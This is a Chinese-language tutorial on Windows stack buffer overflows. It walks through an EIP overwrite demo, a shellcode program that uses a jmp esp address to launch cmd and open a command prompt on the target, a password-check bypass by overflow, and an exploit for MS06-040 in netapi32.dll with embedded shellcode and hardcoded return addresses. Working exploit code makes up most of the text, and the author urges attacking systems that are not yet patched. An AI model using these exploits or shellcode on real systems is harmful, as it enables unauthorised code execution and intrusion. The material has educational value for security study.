通过跳转指令执行Shellcode
如何利用跳转指令让漏洞程序正确执行我们的Shellcode
0040100F|.E80C000000CALL
00401014|.83C408ADDESP,8
00401017|.8BE5MOVESP,EBP
00401019|.5DPOPEBP
0040101A\.C3RETN
二、缓冲区溢出攻击技术
为了说明如何对缓冲区溢出漏洞进行攻击,我们对下面的示例程序来进行
#include"string.h"
#include"stdio.h"
#include
charname[]="AAAAAAAAAAAAAAAA";
intmain()
{
charoutput[8];
strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出
for(inti=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
printf("\n");
return0;
}
上面的程序里定义了一个8字节的缓冲区output[8],使用函数strcpy来将数组
name的内容拷贝到该缓冲去中,由于name数据的长度超过了8字节,根据第二
部分关于函数调用和缓冲区溢出形成的原理,name里的数据依次覆盖了EBP和
返回地址(两个都是32位的,占用4个字节),使得strcpy函数返回后的EIP指向
0x41414141,这个地址是非法地址,所以程序会出现异常而退出。
图3.1为程序
异常退出的截图。
下面是通过更改地址打开目标主机的命令提示符窗口的示例程序,完成后就能通过命令提示符窗口操作目标主机
#include"string.h"
#include"stdio.h"
#include
charname[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"///覆盖ebp
"\x12\x45\xfa\x7f"////覆盖eip,jmpesp地址7ffa4512
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
"\x8d\x45\xf4\x50\xb8"
"\x77\x1d\x80\x7c"//LoadLibrary的地址
"\xff\xd0"
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
"\xba"
"\xc7\x93\xbf\x77"//System的地址
"\xff\xd2";
intmain()
{
charoutput[8];
strcpy(output,name);
for(inti=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
printf("\n");
return0;
}
其运行结果窗口为
非常强大,令我非常震惊。
下面是一个通过溢出攻击越过密码检查程序的程序
#include
#include
#definePASSWORD"1234567"
intverify_password(char*password)
{
intauthenticated;
charbuffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
returnauthenticated;
}
voidmain()
{
intvalid_flag=0;
charpassword[1024];
while
(1)
{
printf("pleaseinputpassword:
?
?
?
?
?
?
");
scanf("%s",password);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("incorrectpassword!
\n\n");
}
else{
printf("Congratulation!
Youhavepassedtheverification!
\n");
break;
}
}
}
正确的运行结果为
如果输入的数字过长就会出现下面的窗口:
三、实际漏洞
下面就是找漏洞的过程,有时间不妨多去微软官网上看看发布的漏洞补丁,比较懒的或安全意识不强的肯定不会第一时间打补丁,我们就可趁机攻击。
下面是微软一个非常有名的漏洞
Microsoft安全公告MS06-040
Server服务中的漏洞可能允许远程执行代码(921883)
Windows中有一些非常重要的动态链接库(dll)文件,如负责GUI操作的
user32.dll,负责系统调用的kernel32.dll,负责内存操作的ntdll.dll,以及负责网
络操作的netapi32.dll。
MS06-040就是由于负责网络操作的netapi32.dll中的导出函数
NetpwPathCanonicalize存在栈溢出漏洞。
这个漏洞影响的操作系统有
Windows2000、Windows2003、WindowsXPsp1/sp2等。
而且这个漏洞被魔波蠕
虫病毒利用,所以非常出名。
用到的工具就是ollybdg2.0,确认漏洞并寻找溢出点的过程非常繁琐,限于篇幅,不进行介绍,只介绍利用阶段,下面是一段溢出攻击代码:
#include
typedefvoid(*MYPROC)(LPTSTR);
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
intmain()
{
chararg_1[0x320];
chararg_2[0x440];
intarg_3=0x440;
chararg_4[0x100];
longarg_5=44;
HINSTANCELibHandle;
MYPROCTrigger;
chardll[]="./netapi32.dll";
charVulFunc[]="NetpwPathCanonicalize";
LibHandle=LoadLibrary(dll);
Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);
memset(arg_1,0,sizeof(arg_1));
memset(arg_1,0x90,sizeof(arg_1)-2);
memset(arg_4,0,sizeof(arg_4));
memset(arg_4,'a',sizeof(arg_4)-2);
memcpy(arg_4,shellcode,168);
arg_1[0x318]=0xF9;//CALLECX的地址
arg_1[0x319]=0x52;
arg_1[0x31A]=0x18;
arg_1[0x31B]=0x75;
(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
结果如下图: